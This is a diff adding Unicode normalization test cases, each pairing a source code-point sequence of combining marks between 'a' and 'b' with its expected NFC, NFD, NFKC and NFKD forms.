+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE20, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE20, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE20, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE20, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE20, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE20, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE20, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE20, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE20, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE20, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE21, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE21, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE21, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE21, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE21, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE21, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE21, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE21, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE21, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE21, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE22, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE22, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE22, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE22, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE22, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE22, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE22, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE22, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE22, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE22, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE23, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE23, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE23, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE23, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE23, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE23, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE23, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE23, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE23, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE23, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE24, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE24, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE24, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE24, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE24, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE24, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE24, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE24, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE24, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE24, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE25, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE25, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE25, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE25, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE25, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE25, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE25, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE25, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE25, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE25, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE26, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE26, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE26, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE26, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE26, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE26, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE26, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE26, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE26, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE26, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0xFE27, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0xFE27, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0xFE27, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0xFE27, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0xFE27, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE27, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0xFE27, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0xFE27, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0xFE27, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0xFE27, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0xFE28, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0xFE28, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0xFE28, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0xFE28, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0xFE28, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE28, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0xFE28, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0xFE28, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0xFE28, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0xFE28, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0xFE29, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0xFE29, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0xFE29, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0xFE29, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0xFE29, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE29, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0xFE29, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0xFE29, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0xFE29, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0xFE29, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0xFE2A, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0xFE2A, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0xFE2A, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0xFE2A, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0xFE2A, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE2A, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0xFE2A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0xFE2A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0xFE2A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0xFE2A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0xFE2B, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0xFE2B, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0xFE2B, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0xFE2B, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0xFE2B, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE2B, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0xFE2B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0xFE2B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0xFE2B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0xFE2B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0xFE2C, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0xFE2C, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0xFE2C, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0xFE2C, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0xFE2C, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE2C, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0xFE2C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0xFE2C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0xFE2C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0xFE2C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0xFE2D, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0xFE2D, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0xFE2D, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0xFE2D, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0xFE2D, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE2D, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0xFE2D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0xFE2D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0xFE2D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0xFE2D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE2E, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE2E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE2E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE2E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE2E, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE2E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE2E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE2E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE2E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE2E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE2F, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE2F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE2F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE2F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE2F, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE2F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE2F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE2F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE2F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE2F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x101FD, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x101FD, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x101FD, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x101FD, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x101FD, 0x059A, 0x0062] },
+{ source: [0x0061, 0x101FD, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x101FD, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x101FD, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x101FD, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x101FD, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x102E0, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x102E0, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x102E0, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x102E0, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x102E0, 0x059A, 0x0062] },
+{ source: [0x0061, 0x102E0, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x102E0, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x102E0, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x102E0, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x102E0, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10376, 0x0062], NFC: [0x00E0, 0x05AE, 0x10376, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10376, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10376, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10376, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10376, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10376, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10376, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10376, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10376, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10377, 0x0062], NFC: [0x00E0, 0x05AE, 0x10377, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10377, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10377, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10377, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10377, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10377, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10377, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10377, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10377, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10378, 0x0062], NFC: [0x00E0, 0x05AE, 0x10378, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10378, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10378, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10378, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10378, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10378, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10378, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10378, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10378, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10379, 0x0062], NFC: [0x00E0, 0x05AE, 0x10379, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10379, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10379, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10379, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10379, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10379, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10379, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10379, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10379, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1037A, 0x0062], NFC: [0x00E0, 0x05AE, 0x1037A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1037A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1037A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1037A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1037A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1037A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1037A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1037A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1037A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x10A0D, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x10A0D, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x10A0D, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x10A0D, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x10A0D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10A0D, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x10A0D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x10A0D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x10A0D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x10A0D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10A0F, 0x0062], NFC: [0x00E0, 0x05AE, 0x10A0F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10A0F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10A0F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10A0F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10A0F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10A0F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10A0F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10A0F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10A0F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10A38, 0x0062], NFC: [0x00E0, 0x05AE, 0x10A38, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10A38, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10A38, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10A38, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10A38, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10A38, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10A38, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10A38, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10A38, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x10A39, 0x0062], NFC: [0x0061, 0x0334, 0x10A39, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x10A39, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x10A39, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x10A39, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x10A39, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x10A39, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x10A39, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x10A39, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x10A39, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x10A3A, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x10A3A, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x10A3A, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x10A3A, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x10A3A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10A3A, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x10A3A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x10A3A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x10A3A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x10A3A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x10A3F, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x10A3F, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x10A3F, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x10A3F, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x10A3F, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x10A3F, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x10A3F, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x10A3F, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x10A3F, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x10A3F, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10AE5, 0x0062], NFC: [0x00E0, 0x05AE, 0x10AE5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10AE5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10AE5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10AE5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10AE5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10AE5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10AE5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10AE5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10AE5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x10AE6, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x10AE6, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x10AE6, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x10AE6, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x10AE6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10AE6, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x10AE6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x10AE6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x10AE6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x10AE6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10D24, 0x0062], NFC: [0x00E0, 0x05AE, 0x10D24, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10D24, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10D24, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10D24, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10D24, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10D24, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10D24, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10D24, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10D24, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10D25, 0x0062], NFC: [0x00E0, 0x05AE, 0x10D25, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10D25, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10D25, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10D25, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10D25, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10D25, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10D25, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10D25, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10D25, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10D26, 0x0062], NFC: [0x00E0, 0x05AE, 0x10D26, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10D26, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10D26, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10D26, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10D26, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10D26, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10D26, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10D26, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10D26, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10D27, 0x0062], NFC: [0x00E0, 0x05AE, 0x10D27, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10D27, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10D27, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10D27, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10D27, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10D27, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10D27, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10D27, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10D27, 0x0300, 0x0315, 0x0062] },
